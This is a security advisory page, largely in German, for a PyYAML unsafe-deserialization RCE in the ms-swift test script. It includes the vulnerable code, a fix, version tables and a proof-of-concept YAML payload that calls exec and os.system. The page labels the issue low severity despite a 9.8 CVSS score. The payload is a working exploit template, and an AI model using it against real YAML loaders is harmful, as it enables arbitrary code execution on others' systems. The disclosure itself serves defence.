Niedrig

MS SWIFT Remote Code Execution via unsafe PyYAML deserialization

  • Veröffentlicht: 31.07.2025
  • Aktualisiert: 11.10.2026 13:19

Description

A Remote Code Execution (RCE) vulnerability exists in the modelscope/ms-swift project due to unsafe use of yaml.load() in combination with vulnerable versions of the PyYAML library (≤ 5.3.1). The issue resides in the tests/run.py script, where a user-supplied YAML configuration file is deserialized using yaml.load() with yaml.FullLoader.

If an attacker can control or replace the YAML configuration file provided to the --run_config argument, they may inject a malicious payload that results in arbitrary code execution.

Affected Repository

Vulnerable Code

python
if args.run_config is not None and Path(args.run_config).exists():
    with open(args.run_config, encoding='utf-8') as f:
        run_config = yaml.load(f, Loader=yaml.FullLoader)

Proof of Concept (PoC)

Step 1: Create malicious YAML file (exploit.yaml)

yaml
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('mkdir HACKED')"

Step 2: Execute with vulnerable PyYAML (<= 5.3.1)

python
import yaml

with open("exploit.yaml", "r") as f:
    cfg = yaml.load(f, Loader=yaml.FullLoader)

This results in execution of os.system, proving code execution.

Mitigation

  • Replace yaml.load() with yaml.safe_load()
  • Upgrade PyYAML to version 5.4 or later

Example Fix:

python
# Before
yaml.load(f, Loader=yaml.FullLoader)

# After
yaml.safe_load(f)

Author

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) ms-swift <= 3.6.3 keine Korrektur

Verweise

CVSS-Wert 9.8/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Schwäche (CWE)
CWE-502
Plattform
Python (PyPI)
Paket
ms-swift
Veröffentlicht
31.07.2025
Aktualisiert
11.10.2026 13:19

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-1683 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-fm6c-f59h-7mmg - CC BY 4.0

Schwachstellenhistorie: ms-swift

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt
4
Erste → letzte
07.2025 06.2026
Ohne Fix
3
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Mittel 2
  • Niedrig 2

Veröffentlichungen pro Jahr

  1. 2025: 3
  2. 2026: 1
  1. Niedrig · 3.6 CVE-2026-10801 <= 4.2.0 keine Korrektur
  2. Mittel ghsa-r54c-2xmf-2cf3 <= 3.6.3 keine Korrektur
  3. Mittel CVE-2025-41419 < 3.7.0 3.7.0
  4. MS SWIFT Remote Code Execution via unsafe PyYAML deserialization dieser Eintrag
    Niedrig · 9.8 CVE-2025-50460 <= 3.6.3 keine Korrektur

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.